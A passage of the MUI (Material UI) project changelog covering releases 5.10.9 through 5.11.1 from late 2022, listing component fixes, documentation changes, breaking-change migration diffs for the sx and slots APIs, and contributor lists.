@oliviertassinari\n- [core] Remove oudated pickers prop-type logic (#35571) @oliviertassinari\n- [core] Exclude documentation of Base props not used in styled libraries (#35562) @michaldudak\n\nAll contributors of this release in alphabetical order: @boutahlilsoufiane, @danhuynhdev, @danilo-leal, @EduardoSCosta, @ekusiadadus, @frontendlane, @hbjORbj, @hootan-rocky, @JagarYousef, @jasonsturges, @leventdeniz, @LukasTy, @michaldudak, @MickaelAustoni, @mnajdova, @oliviertassinari, @sai6855, @siriwatknp, @sldk-yuri, @trizotti\n\n## 5.11.1\n\n<!-- generated comparing v5.11.0..master -->\n\n_Dec 20, 2022_\n\nA big thanks to the 15 contributors who made this release possible. Here are some highlights ✨:\n\n- 💅 @mnajdova added motion and shape design tokens to Material You package (#35384 and #35393).\n- Many other 🐛 bug fixes, 📚 documentation, and ⚙️ infrastructure improvements.\n\n### `@mui/material@5.11.1`\n\n- [Chip] Fix hover and focus style with CSS Variables (#35502) @DimaAbr\n- [InputLabel] Enable `size` prop overrides via TypeScript module augmentation (#35460) @MickaelAustoni\n- [l10n] Change Kazakh locale name to match ISO-639-1 codes (#34664) @talgautb\n- [TextField] Fix error focus style (#35167) @42tte\n- [core] Bring `experimental_sx` back with error code (#35528) @siriwatknp\n\n### `@mui/utils@5.11.1`\n\n- [Theme] Merge components and slots props (#35477) @siriwatknp\n\n### `@mui/material-next@6.0.0-alpha.67`\n\n- [Material You] Add motion design tokens (#35384) @mnajdova\n- [Material You] Add shape design tokens (#35393) @mnajdova\n\n### `@mui/joy@5.0.0-alpha.59`\n\n- [Tooltip] Fix arrow does not appear (#35473) @siriwatknp\n- [Input] Fix autofill styles (#35056) @siriwatknp\n- [ChipDelete] Add onDelete prop to ChipDelete (#35412) @sai6855\n\n### `@mui/base@5.0.0-alpha.111`\n\n- [Button][base] Set active class when a subcomponent is clicked (#35410) @michaldudak\n- [Popper][base] Fix Tooltip Anchor Element Setter (#35469) @sydneyjodon-wk\n\n### Docs\n\n- [docs] Fixed the `Select` component `onChange` event type in the migration guide (#35509) @tzynwang\n- [docs] Add missing comma to `Providing the colors directly` section (#35507) @cassidoo\n- [docs] Add `CardMedia` example without `component=\"img\"` prop (#35470) @lucasmfredmark\n- [docs] Fix `unstable_sxConfig` typo (#35478) @siriwatknp\n- [docs] List component introduction example default code is missing ListItemContent component (#35492) @Miigaarino\n\n### Core\n\n- [test] Terminate BrowserStack after 5 minutes (#35454) @oliviertassinari\n- [test] Fix broken master branch (#35446) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @42tte, @cassidoo, @danilo-leal, @DimaAbr, @lucasmfredmark, @michaldudak, @MickaelAustoni, @Miigaarino, @mnajdova, @oliviertassinari, @sai6855, @siriwatknp, @sydneyjodon-wk, @talgautb, @tzynwang\n\n## 5.11.0\n\n<!-- generated comparing v5.10.17..master -->\n\n_Dec 13, 2022_\n\nA big thanks to the 19 contributors who made this release possible. Here are some highlights ✨:\n\n- 🔥 @mnajdova enabled configuration of the `sx` prop in the `theme` (#35150)\n- Many other 🐛 bug fixes, 📚 documentation, and ⚙️ infrastructure improvements.\n\n### `@mui/material@5.11.0`\n\n- [Alert] Update icon color in all variants (#35414) @danilo-leal\n- [Select] Fix `MenuProps.PopoverClasses` being overriden (#35394) @vitorfrs-dev\n- [SwipeableDrawer] Fix TypeScript warning \"prop open undefined\" (#34710) @kraftware\n\n### `@mui/icons-material@5.11.0`\n\n- [icons] Restore the PhoneInTalk icons (#35409) @michaldudak\n\n### `@mui/system@5.11.0`\n\n#### BREAKING CHANGES\n\n- [system] Enable configuring the `sx` prop in the `theme` (#35150) @mnajdova\n\n  The breaking change is regarding an experimental API:\n\n  ```diff\n  -import { styled, experimental_sx } from '@mui/material/styles';\n  +import { styled } from '@mui/material/styles';\n\n  -const Component = styled('div)(experimental_sx({ p: 1 }});\n  +const Component = styled('div)(({ theme }) => theme.unstable_sx({ p: 1 }});\n  ```\n\n### `@mui/joy@5.0.0-alpha.58`\n\n- [Joy] Miscellaneous fixes (#35447) @siriwatknp\n\n### `@mui/base@5.0.0-alpha.110`\n\n- [PopperUnstyled] Update PopperTooltip to have correct width when closing with transition (#34714) @EduardoSCosta\n\n### `@mui/material-next@6.0.0-alpha.66`\n\n- [Material You] Add ripple on the button (#35299) @mnajdova\n\n### Docs\n\n- [docs] Simplify state management in Text Field demo page (#35051) @PratikDev\n- [docs] Improve `Responsive App bar with Drawer` demo (#35418) @ZeeshanTamboli\n- [docs] Improve line-height readability (#35387) @oliviertassinari\n- [docs] Improve a bit the Composition docs (#35329) @oliviertassinari\n- [docs] Refactor `ToggleButtonSizes` demo (#35375) @Armanio\n- [docs] Standardize the usage of callouts in the docs (#35361) @samuelsycamore\n- [docs] Format feedback to add a link to the commented section (#35381) @alexfauquette\n- [docs] Direct users from Material UI to Base UI for duplicated components (#35293) @samuelsycamore\n- [docs] Fix typo in FormControl API docs (#35449) @Spanishiwa\n- [docs] Update callouts design (#35390) @danilo-leal\n\n### Core\n\n- [core] Fix @mui/material package building (#35324) @timbset\n- [core] Fix leaking theme color override (#35444) @oliviertassinari\n- [typescript] Add null to return type of OverridableComponent (#35311) @tsollbach\n\nAll contributors of this release in alphabetical order: @alexfauquette, @Armanio, @danilo-leal, @EduardoSCosta, @flaviendelangle, @jesrodri, @joserodolfofreitas, @kraftware, @michaldudak, @mnajdova, @oliviertassinari, @PratikDev, @samuelsycamore, @siriwatknp, @Spanishiwa, @timbset, @tsollbach, @vitorfrs-dev, @ZeeshanTamboli\n\n## 5.10.17\n\n<!-- generated comparing v5.10.16..master -->\n\n_Dec 6, 2022_\n\nA big thanks to the 15 contributors who made this release possible. Here are some highlights ✨:\n\n- ✨ @mnajdova added a [Material You Button playground](https://mui.com/material-ui/react-button/#material-you-version) (#35222)\n- 🔧 @hbjORbj renamed `components` / `componentProps` to `slots` / `slotProps` prop in Joy UI to create consistency across products (#34997)\n- Many other 🐛 bug fixes, 📚 documentation, and ⚙️ infrastructure improvements\n\n### `@mui/material@5.10.17`\n\n- [Slider] Fix `markActive` theme class not getting applied (#35067) @ZeeshanTamboli\n- [SwipeableDrawer] Fix missing close animation when initial open is true (#35010) @sai6855\n- [material-ui] Add channel colors if possible (#35178) @siriwatknp\n- [Fab] Increase disabled styles precedence (#35304) @Uzwername\n- [Rating] Apply `labelEmptyValueActive` style overrides from theme (#35315) @sai6855\n\n### `@mui/system@5.10.17`\n\n- [system] Add support for nested CssVarsProvider (#35277) @siriwatknp\n\n### `@mui/joy@5.0.0-alpha.57`\n\n#### BREAKING CHANGE\n\n- [Joy] Add `slots`/`slotProps` props to the typing of all components and apply `useSlot` to all components (#34997) @hbjORbj\n  - Change all occurrences of `components` and `componentsProps` props in Joy UI components to `slots` and `slotProps`, respectively.\n\n  ```diff\n  -<Autocomplete components={{listbox: CustomListbox}} componentsProps={{listbox: { className: 'custom-listbox' }}} />\n  +<Autocomplete slots={{listbox: CustomListbox}} slotProps={{listbox: { className: 'custom-listbox' }}} />\n  ```\n\n  You can use this [codemod](https://github.com/mui/material-ui/blob/master/packages/mui-codemod/README.md#joy-rename-components-to-slots) to help with the migration.\n\n#### Changes\n\n- [Joy] Miscellaneous fixes (#35345) @siriwatknp\n- [Joy][textarea] Expose decorator classes (#35247) @zignis\n\n### Docs\n\n- [docs] Improve spacing with ul (#35302) @oliviertassinari\n- [docs] Correct grammatically incorrect sentences in CONTRIBUTING.md (#34949) @Pandey-utkarsh\n- [docs] Move the demo higher in the API TOC (#35202) @oliviertassinari\n- [docs] Fix incorrect link in minimizing-bundle-size (#35297) @Juneezee\n- [docs] Revise and expand Joy UI \"Breadcrumbs\" page (#35292) @samuelsycamore\n- [docs] Fix wrong import in the unstyled tabs page (#35310) @guotie\n- [docs] Disable translations (#34820) @mnajdova\n- [docs] Fix typo (#35312) @flaviendelangle\n- [docs] Add Material You Button playground (#35222) @mnajdova\n- [docs] Fix experimental API page duplication (#35213) @oliviertassinari\n- [docs] Improve the autogenerated \"Unstyled\" and \"API\" text (#35185) @samuelsycamore\n- [docs] Fix ad margin on API pages (#35201) @oliviertassinari\n- [docs] Revise and expand the Joy UI \"Badge\" page (#35199) @samuelsycamore\n- [docs] Update Base UI docs with latest style conventions (#35034) @samuelsycamore\n- [l10n] Improve Chinese (Taiwan) zh-TW locale (#35328) @happyincent\n\n### Core\n\n- [core] Use componentStyles.name over componentName (#35303) @oliviertassinari\n- [core] Fix warning leak in production (#35313) @oliviertassinari\n- [core] Move the internal packages from docs/packages (#35305) @michaldudak\n- [core] Clean up the API docs generation scripts (#35244) @michaldudak\n- [test] Scope the tests to just Material UI components (#35219) @siriwatknp\n\nAll contributors of this release in alphabetical order: @flaviendelangle, @guotie, @happyincent, @hbjORbj, @Juneezee, @michaldudak, @mnajdova, @nomandhoni-cs, @oliviertassinari, @Pandey-utkarsh, @sai6855, @samuelsycamore, @siriwatknp, @Uzwername, @zignis\n\n## 5.10.16\n\n<!-- generated comparing v5.10.15..master -->\n\n_Nov 28, 2022_\n\nA big thanks to the 13 contributors who made this release possible. This release contains various 🐛 bug fixes, 📚 documentation, and ⚙️ infrastructure improvements.\n\n### `@mui/material@5.10.16`\n\n- [Autocomplete] Fix inferred value type when `multiple` prop is `true` (#35275) @fenghan34\n- [Chip] Add `skipFocusWhenDisabled` prop to not allow focussing deletable chip if disabled (#35065) @sai6855\n- [Chip] Remove unnecessary handleKeyDown event handler (#35231) @ZeeshanTamboli\n- [FormControl] Add missing types in `useFormControl` (#35168) @ZeeshanTamboli\n- [IconButton] Add missing color classes (#33820) @Zetta56\n- [SwipeableDrawer] Make paper ref accessible (#35082) @sai6855\n\n### `@mui/system@5.10.16`\n\n- [system] Remove unnecessary parsed theme (#35239) @siriwatknp\n- [theme] Fix TypeScript type for custom variants in responsive font sizes (#35057) @ZeeshanTamboli\n\n### `@mui/base@5.0.0-alpha.108`\n\n- [Base] Allow useSlotProps to receive undefined elementType (#35192) @leventdeniz\n\n### Docs\n\n- [docs] Improve feedback precision (#34641) @alexfauquette\n- [docs] Add Black Friday notification @oliviertassinari\n- [docs] Fix migration feedback (#35232) @alexfauquette\n- [docs] Improve the useSelect demo styling (#33883) @michaldudak\n- [docs] Fix layout jump on first mistake (#35215) @oliviertassinari\n- [docs] Support demos with side effect imports (#35177) @m4theushw\n- [examples] Fix Next.js errors (#35246) @oliviertassinari\n- [examples] Updated Remix examples with the lates changes using React 18 (#35092) @58bits\n\n### Core\n\n- [core] Remove unused pattern (#35165) @iamxukai\n- [core] Fix Base version in changelog (#35224) @siriwatknp\n- [core] Migrate `describeConformance` to TypeScript (#35193) @flaviendelangle\n- [core] Skip CI for docs and examples paths (#35225) @siriwatknp\n\nAll contributors of this release in alphabetical order: @58bits, @alexfauquette, @fenghan34, @flaviendelangle, @iamxukai, @leventdeniz, @m4theushw, @michaldudak, @oliviertassinari, @sai6855, @siriwatknp, @ZeeshanTamboli, @Zetta56\n\n## 5.10.15\n\n<!-- generated comparing v5.10.14..master -->\n\n_Nov 21, 2022_\n\nA big thanks to the 9 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 @mnajdova added the button as the first component that implements [Material You](https://m3.material.io/) design (MD3)\n- 🌐 @MBilalShafi added Urdu (Pakistan) localization\n- Many other 🐛 bug fixes, 📚 documentation, and ⚙️ infrastructure improvements\n\n### `@mui/material@5.10.15`\n\n- [Autocomplete] Fix keyboard navigation when using custom popover (#35160) @sai6855\n- [typescript] Add `background.defaultChannel` to `CssVarsPalette` (#35174) @alexfauquette\n- [l10n] Add Urdu (ur-PK) locale (#35154) @MBilalShafi\n\n### `@mui/icons-material@5.10.15`\n\n- [icons] Update the Material Design icons (#35194) @michaldudak\n\n### `@mui/material-next@6.0.0-alpha.63`\n\n- [Material You] Add theme structure & Button component (#34650) @mnajdova\n\n### `@mui/base@5.0.0-alpha.107`\n\n- [Select] Add attributes to conform with ARIA 1.2 (#35182) @michaldudak\n\n### Docs\n\n- [docs] Fix a couple documentation errors (#35217) @danilo-leal\n- [docs] Change MUI -> Material UI in icons-material's readme (#35220) @michaldudak\n- [docs] the pages have no <link rel=canonical so we need to tell Google to not index the staging envs @oliviertassinari\n- [docs] Fix confusion in TOCs when reaching scroll bottom (#35214) @oliviertassinari\n- [docs] Fix typos in section titles (#35025) @iamxukai\n- [docs] Fix typo in legacy date picker migration guide @oliviertassinari\n- [docs] Iterating on recent Joy UI Component page updates (#35162) @samuelsycamore\n- [docs] Inform that pickers are in X repository (#35189) @alexfauquette\n- [docs] Explain how the `error` prop works in the Unstyled Input (#35171) @michaldudak\n- [docs] Hotfix missing styles in dark mode (#35179) @siriwatknp\n- [docs] Add Joy UI theme typography page (#34811) @siriwatknp\n- [docs] Fix undo/redo in live editor (#35163) @oliviertassinari\n- [docs] Revise the Joy UI \"Avatar\" component page (#35152) @samuelsycamore\n- [docs] Make navbar backdrop filter consistent with website (#35157) @danilo-leal\n- [docs] Host CodeSandbox on MUI org (#35110) @oliviertassinari\n- [docs] Uplift introduction demos & make consistent with Base (#34316) @danilo-leal\n\n### Core\n\n- [core] Convert icons scripts to ESM (#35101) @Janpot\n- [core] Group renovate GitHub Action dependency updates @oliviertassinari\n- [core] Upgrade eslint-config-airbnb-typescript (#34642) @Janpot\n- [core] Ensure that prettier CI step fails when code is badly formatted (#35170) @michaldudak\n\nAll contributors of this release in alphabetical order: @alexfauquette, @danilo-leal, @iamxukai, @Janpot, @MBilalShafi, @michaldudak, @oliviertassinari, @samuelsycamore, @siriwatknp\n\n## 5.10.14\n\n<!-- generated comparing v5.10.13..master -->\n\n_Nov 14, 2022_\n\nA big thanks to the 17 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 @siriwatknp added the Autocomplete component to the Joy UI (#34315)\n- ♿ @sfavello improved the accessibility of the Material UI's Autocomplete by adding support for the Delete key (#33822)\n- Many other 🐛 bug fixes, 📚 documentation, and ⚙️ infrastructure improvements.\n\n### `@mui/material@5.10.14`\n\n- [Material UI] Add `palette.background.defaultChannel` token (#35061) @siriwatknp\n- [Autocomplete] Remove tags with the Delete key (#33822) @sfavello\n- [IconButton] custom color causes type error (#34521) @kushagra010\n\n### `@mui/system@5.10.14`\n\n- [Unstable_Gridv2] sorted responsize keys based on breakpoint value (#34987) @sai6855\n\n### `@mui/joy@5.0.0-alpha.54`\n\n- [Joy] Export `FormControl`, `LinearProgress` and `ListSubheader` components from `@mui/joy` (#35003) @Studio384\n- [Joy] Miscellaneous fixes (#35044) @siriwatknp\n- [Joy] Add `Autocomplete` component (#34315) @siriwatknp\n- [Joy] Saturate a bit the gray palette (#35148) @danilo-leal\n- [Autocomplete][joy] Fix types (#35153) @siriwatknp\n\n### Docs\n\n- [blog] Fix font size of code blocks on iOS @oliviertassinari\n- [docs] Accessibility - increase default contrastThreshold for WCAG AA compliance (#34901) @kennethbigler\n- [docs] Correct the keepMounted section on the Drawer page (#35076) @michaldudak\n- [docs] Fix code editor styles mismatches (#35108) @oliviertassinari\n- [docs] Allows to access the next MUI-X (#34798) @alexfauquette\n- [docs] Fix bugs with live edit demos (#35106) @oliviertassinari\n- [docs] Fix `MarkdownElement` regression from adding CSS variables (#35096) @siriwatknp\n- [docs] Add a new gold sponsor (#35089) @hbjORbj\n- [docs] Fix scroll issue on expanded live demos (#35064) @bharatkashyap\n- [docs] Improve alignment of the sponsors @oliviertassinari\n- [docs] Improve code font family v2 (#35053) @oliviertassinari\n- [docs] Upgrade to Next.js 13 (#35001) @mnajdova\n- [docs] Fix typo in changelog @oliviertassinari\n- [docs] Update Joy UI templates to use latest components (#35058) @siriwatknp\n\n### Core\n\n- [core] Convert scripts to ES modules (#35036) @michaldudak\n- [core] Show the whole version to make blame easier @oliviertassinari\n- [core] Polish GitHub Action version @oliviertassinari\n- [core] Ignore icons to speed up CodeQL @oliviertassinari\n- [core] Feedback on branch protection @oliviertassinari\n- [core] Revert CI (#35098) @siriwatknp\n- [core] Fix job name to match the CI (#35097) @siriwatknp\n- [core] ESLint fixes for tests (#34924) @Janpot\n- [core] Ignore unrelated folders from github actions (#35028) @siriwatknp\n- [core] Use pretty-quick instead of custom script (#34062) @Janpot\n\nAll contributors of this release in alphabetical order: @alexfauquette, @bharatkashyap, @cherniavskii, @danilo-leal, @hbjORbj, @Janpot, @kennethbigler, @kushagra010, @michaldudak, @mnajdova, @ofir5300, @oliviertassinari, @sai6855, @sfavello, @sidtohan, @siriwatknp, @Studio384\n\n## 5.10.13\n\n<!-- generated comparing v5.10.12..master -->\n\n_Nov 7, 2022_\n\nA big thanks to the 12 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 The slots API has been introduced to the Material UI package by @michaldudak (#34873).\n- 🔥 Live editing of demos is stabilized by @oliviertassinari (#34870).\n- Many other 🐛 bug fixes, 📚 documentation, and ⚙️ infrastructure improvements.\n\n### `@mui/material@5.10.13`\n\n- [material-ui] Introduce the slots API (#34873) @michaldudak\n- [NativeSelectInput] Support CSS theme variables (#34975) @siriwatknp\n\n### `@mui/system@5.10.13`\n\n- [system] Add a missing key attribute in getInitColorScheme to fix key issue (#34992) @akshaya-venkatesh8\n\n### `@mui/base@5.0.0-alpha.105`\n\n- [base] Avoid calling setState during renders (#34916) @Janpot\n\n### `@mui/joy@5.0.0-alpha.53`\n\n- [Select] Fix custom options menu not opening on Avatar click (#34648) @shivam1646\n\n### Docs\n\n- [docs] Add a guide for setting dark mode by default (#34839) @siriwatknp\n- [docs] Improve code font family (#35027) @oliviertassinari\n- [docs] Revise and expand Joy UI \"Alert\" page (#34838) @samuelsycamore\n- [docs] Live demos v2 (#34870) @oliviertassinari\n- [docs] Fix 301 links in the docs @oliviertassinari\n- [docs] Fix code display in RTL (#34951) @oliviertassinari\n- [docs] New API design rule disabled > disable (#34972) @oliviertassinari\n- [docs] Explain the usage of Select's onOpen/onClose in the uncontrolled mode (#34755) @michaldudak\n- [docs] Add a new gold sponsor (#34984) @hbjORbj\n- [docs] Add author and published_time meta tags (#34382) @alexfauquette\n- [examples] Next.js examples v13 - fonts (#34971) @PetroSilenius\n- [examples] Next.js examples v13 - links (#34970) @PetroSilenius\n\n### Core\n\n- [core] Remove default access to GitHub action scopes @oliviertassinari\n- [core] Fix Pinned-Dependencies @oliviertassinari\n- [core] Fix typos in the component name @oliviertassinari\n- [core] Fix scorecard regression @oliviertassinari\n- [core] Create the docs theme once (#34954) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @akshaya-venkatesh8, @alexfauquette, @hbjORbj, @Janpot, @jesrodri, @michaldudak, @oliviertassinari, @PetroSilenius, @samuelsycamore, @shivam1646, @siriwatknp, @trizotti\n\n## 5.10.12\n\n<!-- generated comparing v5.10.11..master -->\n\n_Oct 31, 2022_\n\nA big thanks to the 16 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 The LinearProgress component has been added to Joy UI by @hbjORbj (#34514).\n- Many other 🐛 bug fixes, 📚 documentation, and ⚙️ infrastructure improvements.\n\n### `@mui/material@5.10.12`\n\n- [Chip] Don't override icon color (#34247) @emlai\n- [Radio] Skip default hover style when disableRipple is set (#34902) @VinceCYLiao\n- [SwipeableDrawer] Fix React 18 issues (#34505) @mnajdova\n- [Tooltip] Save a few bytes (#34853) @oliviertassinari\n\n### `@mui/base@5.0.0-alpha.104`\n\n- [ButtonUnstyled] Update to render as link when href or to is provided (#34337) @EduardoSCosta\n\n### `@mui/joy@5.0.0-alpha.52`\n\n- [Joy][circularprogress] Prevent new styles from being generated when `value` changes (#34897) @hbjORbj\n- [Joy] Add color inversion feature (#32511) @siriwatknp\n- [Joy] Add `LinearProgress` component (#34514) @hbjORbj\n\n### Docs\n\n- [blog] Add blog post for high-level overview of all MUI products (#34325) @samuelsycamore\n- [blog] Fix hydration mistmatch (#34857) @oliviertassinari\n- [docs] Revise the Joy UI \"Aspect Ratio\" page (#34858) @samuelsycamore\n- [docs] Fix Safari code font size (#34859) @oliviertassinari\n- [docs] Fix spelling mistake (#34955) @punithnayak\n- [docs] Fix 404 link of supported Material UI components @oliviertassinari\n- [docs] Fix Safari button misalignment (#34861) @oliviertassinari\n- [docs] Fix typo in docs title (#34926) @PunitSoniME\n- [docs] Fix missing emotion prefixes (#34958) @oliviertassinari\n- [docs] Improve UI display for copy code (#34950) @oliviertassinari\n- [docs] Standardize all \"Usage\" pages (#34183) @samuelsycamore\n- [docs] Update templates' readme files to include required dependencies (#34757) @michaldudak\n- [docs] Fix inconsistent theme colors when applying custom colors in playground (#34866) @cherniavskii\n- [docs] Fix typo in bottom-navigation.md (#34884) @RoodyCode\n\n### Core\n\n- [core] Ignore compiled icons in CodeQL @oliviertassinari\n- [core] Add OSSF Scorecard action (#34854) @oliviertassinari\n- [core] Fix extra GitHub Action permission (#34496) @sashashura\n- [core] Fix duplicate id @oliviertassinari\n- [core] Enforce import \\* as React (#34878) @da0x\n- [core] A couple of simply fixes from #34870 (#34953) @oliviertassinari\n- [core] Migrate outdated pattern to convention @oliviertassinari\n- [core] Pin GitHub Actions dependencies (#34929) @renovate[bot]\n- [core] Make the reproduction more important in the bug template (#34875) @oliviertassinari\n- [core] Fix docs GitHub API rate limit (#34856) @oliviertassinari\n- [core] Fix ESLint issues (#34964) @mnajdova\n- [core] Pin GitHub Action to digests (#34855) @oliviertassinari\n- [core] Fix permissions in workflow @oliviertassinari\n- [core] memoize context values for react/jsx-no-constructed-context-values (#34849) @Janpot\n- [core] Fix @typescript-eslint/default-param-last issues (#34846) @Janpot\n- [core] Fix HTML validation error (#34860) @oliviertassinari\n- [core] Fix duplicate CodeQL build @oliviertassinari\n- [test] Move Firefox tests to CircleCI (#34764) @oliviertassinari\n- [test] Use screen when possible for simplicity (#34890) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @cherniavskii, @DanailH, @EduardoSCosta, @emlai, @hbjORbj, @Janpot, @michaldudak, @mnajdova, @oliviertassinari, @punithnayak, @PunitSoniME, @renovate[bot], @RoodyCode, @samuelsycamore, @siriwatknp, @VinceCYLiao\n\n## 5.10.11\n\n<!-- generated comparing v5.10.10..master -->\n\n_Oct 25, 2022_\n\nA big thanks to the 10 contributors who made this release possible. Here are some highlights ✨:\n\n- 🔧 Moved `components` to `slots` prop starting at Base UI to create consistency across products\n- Many other 🐛 bug fixes, 📚 documentation, and ⚙️ infrastructure improvements\n\n### `@mui/material@5.10.11`\n\n- [InputBase] Fix `onInvalid` to use HTMLInputElement | HTMLTextAreaElement Element type (#33162) @KuSh\n- [Alert] Add `components` and `componentsProps` props to allow close action overrides (#33582) @jake-collibra\n\n### `@mui/base@5.0.0-alpha.103`\n\n#### BREAKING CHANGE\n\n- [base] `components` -> `slots` API rename (#34693) @michaldudak\n  - Change all occurrences of components and componentsProps props in Base components to slots and slotProps, respectively.\n  - Change casing of slots' fields to camelCase\n\n  ```diff\n  -<SwitchUnstyled components={{Root: CustomRoot}} componentsProps={{rail: { className: 'custom-rail' }}} />\n  +<SwitchUnstyled slots={{root: CustomRoot}} slotProps={{rail: { className: 'custom-rail' }}} />\n  ```\n\n- [base] Make CSS class prefixes consistent (#33411) @michaldudak\n\n  **This is a breaking change for anyone who depends on the class names applied to Base components.**\n  If you use the `<component>UnstyledClasses` objects, you won't notice a difference. Only if you depend on the resulting class names (for example in CSS stylesheets), you'll have to adjust your code.\n\n  ```diff\n  -.ButtonUnstyled-root { ... };\n  +.MuiButton-root { ... };\n  ```\n\n#### Changes\n\n- [test] Test all Base components with describeConformanceUnstyled (#34825) @michaldudak\n\n### `@mui/joy@5.0.0-alpha.51`\n\n- [CircularProgress][joy] Fix classnames and add test (#34806) @hbjORbj\n- [Joy] Allow string type for `size` prop in components (#34805) @hbjORbj\n\n### Docs\n\n- Revert \"[docs] Fix search icons in other languages (#34823)\" @oliviertassinari\n- Revert \"[core] Move SearchIcons to docs src folder (#34802)\" @oliviertassinari\n- Revert \"[docs] Live demos (#34454)\" @oliviertassinari\n- Update the order of operations for pagination example so that slicing takes place after sorting. (#34189) @marceliwac\n- [docs] Gatsby Description in Joy dark-mode (#34702) @pixelass\n- [docs] Add notification for blogpost MUI X v6 alpha (#34809) @joserodolfofreitas\n- [docs] Polish Crowdin config (#34852) @oliviertassinari\n- [docs] Fix a few style standard deviations @oliviertassinari\n- [docs] Enforce no trailing spaces (#34762) @oliviertassinari\n- [docs] Enforce correct git diff format (#34765) @oliviertassinari\n- [docs] Fix Toolpad docs 301 route (#34843) @bharatkashyap\n- [docs] Replace initial value with theme white (#34822) @siriwatknp\n- [docs] Remove localization redirects (#34844) @mnajdova\n- [docs] Fix search icons in other languages (#34823) @siriwatknp\n- [docs] Fix JavaScript capitalization @oliviertassinari\n- [docs] Update new links to MD2 (#34848) @oliviertassinari\n\n### Core\n\n- [core] Remove dead files (#34850) @oliviertassinari\n- [core] Fix revert conflict @oliviertassinari\n- [core] Fix a few CodeQL errors (#34766) @oliviertassinari\n- [core] Harden GitHub Actions permissions (#34769) @oliviertassinari\n- [core] Remove the codeowners file (#34876) @michaldudak\n\nAll contributors of this release in alphabetical order: @bharatkashyap, @hbjORbj, @jake-collibra, @joserodolfofreitas, @KuSh, @marceliwac, @michaldudak, @oliviertassinari, @pixelass, @siriwatknp\n\n## 5.10.10\n\n<!-- generated comparing v5.10.9..master -->\n\n_Oct 18, 2022_\n\nA big thanks to the 21 contributors who made this release possible. Here are some highlights ✨:\n\n- 🖌 Thanks to the efforts of @bharatkashyap and @nihgwu, we now have editable demos across our docs (#34454)!\n- 🚀 The Tooltip component has been added to Joy UI by @hbjORbj (#34509).\n- ⚙️ We started converting the remaining JS components in Base UI to TypeScript.\n  @mbayucot finished the first PR with the conversion of the NoSsr code (#34735).\n- And more 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.10.10`\n\n- [Popover] Fix paper position flash on open (#34546) @TheUnlocked\n- [SwipeableDrawer] Make component `defaultProps` overridable (#34643) @hbjORbj\n\n### `@mui/system@5.10.10`\n\n- [system] Support CSS `grey` color in `sx` (#34548) @TheUnlocked\n\n### `@mui/styles@5.10.10`\n\n- [styles] Use memoized context in StylesProvider (#34637) @mohd-akram\n\n### `@mui/joy@5.0.0-alpha.50`\n\n- [Select][joy] Added hidden input element (#34657) @zee-bit\n- [Slider][joy] Add global variant to slider (#34733) @siriwatknp\n- [Tooltip][joy] Add component (#34509) @hbjORbj\n\n### `@mui/base@5.0.0-alpha.102`\n\n- [MultiSelect][base] Prevent the renderValue prop from being propagated to the DOM (#34698) @michaldudak\n- [NoSsr] Convert code to TypeScript (#34735) @mbayucot\n\n### Docs\n\n- [docs] Fix the Autocomplete Highlighting example (#34184) @hayawata3626\n- [docs] Fix typos in Base (Menu, Tabs) and Joy UI (Chip) (#34803) @rvrvrv\n- [docs] Use new editing API in homepage demos (#34220) @m4theushw\n- [docs] Live demos (#34454) @bharatkashyap\n- [docs] Fix typos in Joy UI Switch (#34728) @ndresx\n- [docs] Avoid scrollbar in the code demos (#34741) @oliviertassinari\n- [docs] Revise the Joy UI \"Automatic adjustment\" page (#34614) @samuelsycamore\n- [docs] Revise and rename the Joy UI \"Perfect dark mode\" page (#34613) @samuelsycamore\n- [docs] Revise the Joy UI \"Global variants\" page (#34595) @samuelsycamore\n- [docs] Basic link verification at PR level (#34588) @alexfauquette\n- [docs] Add a missing comma in the customization example (#34617) @AbayKinayat\n\n### Core\n\n- [core] Clean conditionals (#34772) @pedroprado010\n- [core] Temporary remove the authorization (#34796) @siriwatknp\n- [core] Avoid slower CI run statues @oliviertassinari\n- [core] Improve the playground DX (#34739) @oliviertassinari\n- [core] Link Netlify in the danger comment (#34688) @oliviertassinari\n- [core] Fix CI after out of sync merge @oliviertassinari\n- [core] Enforce straight quote (#34686) @oliviertassinari\n- [core] Add code scanning via CodeQL (#34707) @DanailH\n- [core] Fix some upcoming ESLint issues (#34727) @oliviertassinari\n- [core] Auto-fix upcoming ESLint issues (#34644) @Janpot\n- [core] Move SearchIcons to docs src folder (#34802)\n- [test] Enable `react/no-unstable-nested-components` (#34518) @eps1lon\n\nAll contributors of this release in alphabetical order: @AbayKinayat, @alexfauquette, @bharatkashyap, @DanailH, @eps1lon, @hayawata3626, @hbjORbj, @Janpot, @joserodolfofreitas, @m4theushw, @mbayucot, @michaldudak, @mohd-akram, @ndresx, @oliviertassinari, @pedroprado010, @rvrvrv, @samuelsycamore, @siriwatknp, @TheUnlocked, @zee-bit\n\n## 5.10.9\n\n<!-- generated comparing v5.10.8..master -->\n\n_Oct 10, 2022_\n\nA big thanks to the 7 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 [Joy] Button loading functionality has been added by @kushagra010 (#34658)\n- And more 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.10.9`\n\n- [Grid v2][system] Handle direction object prop for responsive design (#34574) @vanyaxk\n- [Slider] Fix unnecessary accessibility attribute in root element (#34610) @vanyaxk\n\n### `@mui/system@5.10.9`\n\n#### BREAKING CHANGE\n\n- [system] Fix color-scheme implementation (#34639) @siriwatknp\n\n  The `enableColorScheme` prop has been removed from `CssVarsProvider` and `getInitColorScheme` (both Material UI and Joy UI).\n\n  Migration:\n  - **Material UI**: you can enable the CSS color scheme via `<CssBaseline enableColorScheme />`.\n  - **Joy UI**: it is enabled automatically if you use `<CssBaseline />`, [see the docs](https://mui.com/joy-ui/react-css-baseline/).\n\n#### Changes\n\n- [system] Fix typo in createCssVarsProvider (#34661) @HexM7\n\n### `@mui/base@5.0.0-alpha.101`\n\n- [FocusTrap] Restore the previously exported type from @mui/material (#34601) @michaldudak\n\n### `@mui/joy@5.0.0-alpha.49`\n\n- [Joy] Add button loading functionality (#34658) @kushagra010\n\n### Docs\n\n- [docs] Revert #34541 (#34700) @michaldudak\n- [blog] Blog post for MUI X v6 